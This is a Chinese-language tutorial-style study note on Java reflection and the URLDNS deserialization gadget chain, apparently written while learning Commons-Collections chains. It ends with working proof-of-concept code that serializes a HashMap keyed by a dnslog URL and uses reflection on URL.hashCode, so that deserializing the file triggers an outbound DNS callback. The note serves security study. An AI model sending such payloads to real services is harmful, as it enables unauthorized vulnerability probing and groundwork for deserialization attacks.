打算学习cc链的知识,一边记笔记,一边分析出来,大家可以一起学习。
我参考的视频是 B站的 白日梦组长
在安全中,java反射起到很大的作用
让java具有动态性 修改已有对象的属性 动态生成对象 动态调用方法 操作内部类和私有方法 在反序列化中 定制需要的对象 通过invoke调用除了同名函数以外的函数 通过class类创建对象,引入不能序列化的类
讲之前呢,先带大家过一遍反射的知识点,有助于理解。
內存:即JVM内存,栈、堆、方法区啥的都是JVM内存
class文件:就是所谓的字节码文件,这里直观些成为 .class 文件
java源代码执行后,会生成.class 文件 俗称字节码文件,会把里面的变量,方法之类的数据,加载到内存里,new对象 就开辟一个空间存储数据,子类调用父类构造器,构造器执行代码块,初始化语句啥的,大家自行百度 不会了
Student学生类
package file; import java.util.Objects; public class Student { private String name; private int age; public String hitger; public String weighter; public String a; protected String b; String c; private String d; public Student(){} public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Student(String name, int age) { this.name = name; this.age = age; } public void eat(){ System.out.println("猫 吃 🐟"); } public void eat(String food){ System.out.println("猫 吃 🐟"+food); } @Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + ", hitger='" + hitger + '\'' + ", weighter=" + weighter + ", a='" + a + '\'' + ", b='" + b + '\'' + ", c='" + c + '\'' + ", d='" + d + '\'' + '}'; } // 重写hashcode 和equals @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Student student = (Student) o; return age == student.age && Objects.equals(name, student.name); } @Override public int hashCode() { return Objects.hash(name, age); } }
获取class对象三种方式
// 多用于配置文件 读取文件 加载类 Class.forName("包名.类名") 将字节码文件加载到内容,返回class对象 // 多用于参数的传递 类名.class 通过类型class 返回属性 // 多用于对象的获取字节码的方式 对象.getClass import file.CopyFile; import file.Student; public class Demo1 { public static void main(String[] args) throws Exception { // class.forname Class<?> cls = Class.forName("file.CopyFile"); System.out.println(cls); // 类名.class Class<CopyFile> cls1 = CopyFile.class; System.out.println(cls1); // 对象.getClass Student s = new Student(); Class<? extends Student> cls2 = s.getClass(); System.out.println(cls2); } }
常用方法
获取成员变量们 getFields() 获取所有public修饰的成员变量 getField(String name) 获取指定名称的public修饰的成员变量 获取值 get() 修改值 set() getDeclaredField(String name) 获取单个成员变量 setAccessible 暴力反射 getDeclaredFields() 获取所有的成员变量 不考虑修饰符 获取构造方法们 作用 创建对象 newInstance() getConstructors() getConstructor(类<?> type) 构造方法 单个 获取成员方法们 作用 执行方法 invoke() 获取方法名 getName() getMethods() getMethond(String name,类<?> type) 获取类名称 getName()
获取成员变量
import file.Student; import java.lang.reflect.Field; public class Demo2 { public static void main(String[] args) throws Exception { Student s = new Student(); // 获取class对象 Class<? extends Student> cls = s.getClass(); // 获取所有成员变量 Field[] fields = cls.getFields(); for (Field field : fields) { System.out.println(field); } // 获取单个成员变量 Field w = cls.getField("weighter"); System.out.println(w); // 获取成员变量的数值 修改 Object o = w.get(s); System.out.println(o); w.set(s,"李四"); System.out.println(s); // 获取所有的成员变量 Field[] df = cls.getDeclaredFields(); for (Field f : df) { System.out.println(f); } // 获取单个成员变量 获取值 修改值 Field dd = cls.getDeclaredField("d"); // 取消修饰符安全型考虑 俗称暴力反射 dd.setAccessible(true); Object vaule = dd.get(s); System.out.println(vaule); dd.set(s,"谁tm买小米"); System.out.println(s); } }
获取构造方法
import file.Student; import java.lang.reflect.Constructor; public class Demo3 { public static void main(String[] args) throws Exception{ Student s = new Student(); // 反射 Class cls = s.getClass(); // 获取单个构造方法 Constructor con = cls.getConstructor(String.class, int.class); System.out.println(con); // 创建对象 Object obj = con.newInstance("张三", 30); System.out.println(obj); } }
获取成员方法
import file.Student; import java.lang.reflect.Method; public class Demo4 { public static void main(String[] args) throws Exception{ Student s = new Student(); // 反射 Class<? extends Student> cls = s.getClass(); // 获取无参方法 Method cat_methond1 = cls.getMethod("eat"); // 执行方法 cat_methond1.invoke(s); // 获取有参方法 Method eat_methnd2 = cls.getMethod("eat", String.class); eat_methnd2.invoke(s,"和猫粮"); // 获取所有public修饰的方法 Method[] methods = cls.getMethods(); for (Method m : methods) { // 遍历方法 System.out.println(m); // 遍历方法名 System.out.println(m.getName()); } // 获取类方法名 String name = cls.getName(); System.out.println(name); } }
涉及cc链 就会涉及到序列化相关知识,很早之前写了一篇,可以参考下
URLDNS链分析
先从最简单的链条开始分析,因为简单,难的我暂时也不会
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
调用链如下
简单来说,就是代码中,层层调用类。
什么意思:
比如 写一个工具类,每次都写重复的代码,很繁琐,把相同的逻辑代码 抽出来,单独写到一个文件里,如,HttpClinet.java
这里写了jdbc连接数据的流程,我下次在连接数据库,直接调用HttpClinet.connet
直接一两行就完成了。
* Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode() github作者翻译: 作为反序列化的一部分,HashMap会对它调用的每个键调用hashCode *反序列化,因此使用Java URL对象作为序列化键允许 *它会触发DNS查找。
在java中 有很多泛型(数据类型) hashMap
最常见 翻冰蝎,哥斯拉 这些源码时,也会经常看到这种泛型。
在java安全中, hashMap
+ 反序列化 + 反射 === 无敌
hashMap
最关键的就是它的泛型,可以是String,Integer,又或者Object,包括自己写的 Person
Student
类
那么 cc 链 是和 反序列化挂钩的,像shiro 反序列化,fastjson反序列化等等
创建了小demo 演示 反序列化的过程 代码写注释了 就不过多解释,早期发过一次java反序列化学习 可以看下
import java.io.Serializable; // 创建person类 实现反序列化接口 不继承接口 就无法对数据序列化操作 public class Person implements Serializable { private String name; private int age; public Person(){} public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Persin{" + "name='" + name + '\'' + ", age=" + age + '}'; } } import java.io.FileOutputStream; import java.io.ObjectOutputStream; public class SerializableTest { // 创建序列化方法 创建一个bin文件 存储序列化后的数据 public static void serializable(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception { // 创建person对象 Person person = new Person("张三", 23); // 实现序列化方法 serializable(person); } }
import java.io.FileInputStream; import java.io.ObjectInputStream; public class UnSerializableTest { // 创建反序列化方法 传参一个文件 读取文件内容 返回给 obj 对象 public static Object Unserializable(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception { // 反序列化操作,类型强制类型转换 Person person = (Person) Unserializable("ser.bin"); System.out.println(person); } }
如果说,我在序列化步骤中,添加了命令执行的代码,就会产生rce漏洞。
回到上一步,接着讲urldns利用链
HashMap会对它调用的每个键调用hashCode
使用Java URL对象作为序列化键允许
ctrl + 左键
可以查看源代码
查看hashMap源码 他实现了序列化的接口 当我们存储数据 需要使用put方法
查看put 源代码 调用hash方法 点进去 key调用了hashCode方法
接着看URL 他也调用了hashCode 方法
在hashmap中 key也会调用hashcode方法 所以这就形成了一条调用链
HashMap -> implements Serializable 实现序列化接口 hashMap.put -> hash -> key.hashCode == url(key).hashCode
这样写不知道你们能不能理解,,,
就是说,创建一个HashMap泛型,在创建一个url连接,使用put方法把url数据存放到里面,这个hashmap 实现了序列化方法,那么它里面的数据都可以被序列化,使用put后,会把url当作一条数据,传给hash方法,它就去调用hashCode放,这个url就是一个key ,这个key 调用了hashCode,这个key原本就是URL 方法创建的,所以查看URL源代码 就明白为什么会有HashCode方法了。
代码实现下,看看dnslog会不会有数据
import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.net.URL; import java.util.HashMap; public class SerializableTest { public static void serializable(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception { // Person person = new Person("张三", 23); // 创建hashmap泛型 HashMap<URL,Integer> hashMap = new HashMap<>(); // 创建一个url资源 URL url = new URL("http://mvkn4u.ceye.io"); // 存放url数据 hashMap.put(url,1); serializable(hashMap); }
虽然成功了但是存在问题的,打个断点,我们看看
使用 put后存放数据 hashCode 就变成了-1 就会造成 我还没有序列化 就已经执行了请求dns的操作了。
为了修改这个问题,所以引入了反射机制。利用反射 把hashcode 改成其他值 让他在put这一步变成其他值。
import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class SerializableTest { public static void serializable(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static void main(String[] args) throws Exception { // Person person = new Person("张三", 23); // 创建hashmap泛型 HashMap<URL,Integer> hashMap = new HashMap<>(); // 创建一个url资源 URL url = new URL("http://mvkn4u.ceye.io"); // 获取url 字节码文件 Class c = url.getClass(); // hashCode 是私有变量 使用setAccessible强制修改 Field hashcodefied = c.getDeclaredField("hashCode"); hashcodefied.setAccessible(true); hashcodefied.set(url,123); hashMap.put(url,1); hashcodefied.set(url,-1); serializable(hashMap); } }
执行序列化后 没有收到dns请求,反序列化打断点后查看hashCode值
执行反序列化后 成功收到请求